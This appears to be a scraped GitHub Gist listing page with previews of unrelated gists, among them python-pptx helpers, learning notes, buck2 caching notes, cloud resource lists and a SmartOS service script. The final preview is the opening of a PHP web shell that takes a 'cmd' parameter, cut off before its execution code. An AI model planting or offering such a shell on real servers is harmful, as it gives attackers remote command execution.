Skip to content

Instantly share code, notes, and snippets.

@Dasc3er
Dasc3er / pptx-helpers.py
Last active May 19, 2025 06:20
Set of helpers to work with PPTX manipulation using the Python PPTX library
def _object_rels(obj):
try:
rels = obj.rels
# Change required for python-pptx 0.6.22
check_rels_content = [k for k in rels]
if isinstance(check_rels_content.pop(), str):
return [v for k, v in rels.items()]
else:
return [k for k in rels]
@hlfshell
hlfshell / ultralearning.md
Created January 15, 2023 22:08
Ultralearning Notes

Ultralearning

The following is the notes I took years ago on the book Ultralearning by Scott Young. The bombastic title and promise to learn virtually anything quickly makes it sound as if its the typical marketing-powered fluff-filled nonfiction book stores are overflowing with, but something about this book stuck with me. After finishing it I quickly went back and wrote these thoughts down. While I don't follow his layout of plans regularly, I have used it to guide a lot of my own self education.

I've successfully utilized it when I needed to refresh on mathematics for my Master's degree (a host of skills that atrophied sigificantly for the dozen years between undergrad and the masters). I've also used it to self-study subjects like Robotics and Deep Learning (though I did decide in the end to go for the Master's accreditation).

I share it here with hopes that someone finds it useful.


Principle 1 - Metalearning

@aliesbelik
aliesbelik / benchmarking-tools.md
Last active May 19, 2025 06:12
Benchmarking & load testing tools
@hmRemi
hmRemi / README.md
Last active May 19, 2025 06:11
Make Discord Server With Tags

Discord Guild ID Hash Targeter Script

Discord no longer provides the tags feature to new servers. This could change, so I'm keeping this active and seeking other ways to get a tag server. I still recommend trying create guilds within the specified hash ranges. Please support by starring this gist and joining our Discord (link below).

Also, selling a script for a fully customizable rotating clan tag. (colors and badge icon - join discord to buy)

Version: 1.2.5 (as per CONFIG.SCRIPT_VERSION in the script)
Discord: https://discord.gg/wSWYhQMdbA | @ziue
Telegram: https://t.me/reveredev/

@kekru
kekru / Remote API via daemon.json.md
Last active May 19, 2025 06:11
Enable Docker Remote API via daemon.json

buck2 is very explicit re: the interactions dep files have w/caching:

  • dep files can (after execution) narrow the set of inputs for an action
  • the input set of the action as known to your buck2 daemon will have this narrowed set but...
    • the actual action cache key (as is given to disk/remote caches, etc.) will still have the full set of inputs
  • ultimately this means that as far as remote caching for cold builds is concerned, the action at hand is still keyed on all of its inputs — including the ones that are pruned
    • this means that — for cold builds — if there have been any changes to any of the "pruned out" files since the last run of the action (+ cache population), the action will not hit in the cache
  • additionally, in the event that there are analysis-level changes that result in the starlark action being reconstructed (i.e. BUILD file is edited), we also lose the narrowed set of inputs
  • for changes that materially affect t
@imba-tjd
imba-tjd / .Cloud.md
Last active May 19, 2025 06:01
☁️ 一些免费的云资源

  • IaaS指提供系统(可以自己选)或者储存空间之类的硬件,软件要自己手动装。PaaS提供语言环境和框架(可以自己选)。SaaS只能使用开发好的软件(卖软件本身,如税务会计、表格文字处理)。BaaS一般类似于非关系数据库,但各家不通用
  • 云服务的特点:零前期成本 & 按需付费 & 弹性(类似于租,可随时多加、退掉;但没有残值)、高可用(放在机房中,不同AZ间水电隔离)

其他人的集合

@bahamat
bahamat / dnssd-register.sh
Last active May 19, 2025 05:59
SMF Manifest and shell script for SmartOS to register common, active DNS-SD services.
#!/bin/bash
# dnssd-register.sh -- Register common services for SmartOS
#
# This is really only useful for people who run SmartOS on a LAN segment
# with workstations. E.g., your house.
#
# This script scans for common locally listening services and registers
# them with mDNS/DNS-SD/Bonjour.
#
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{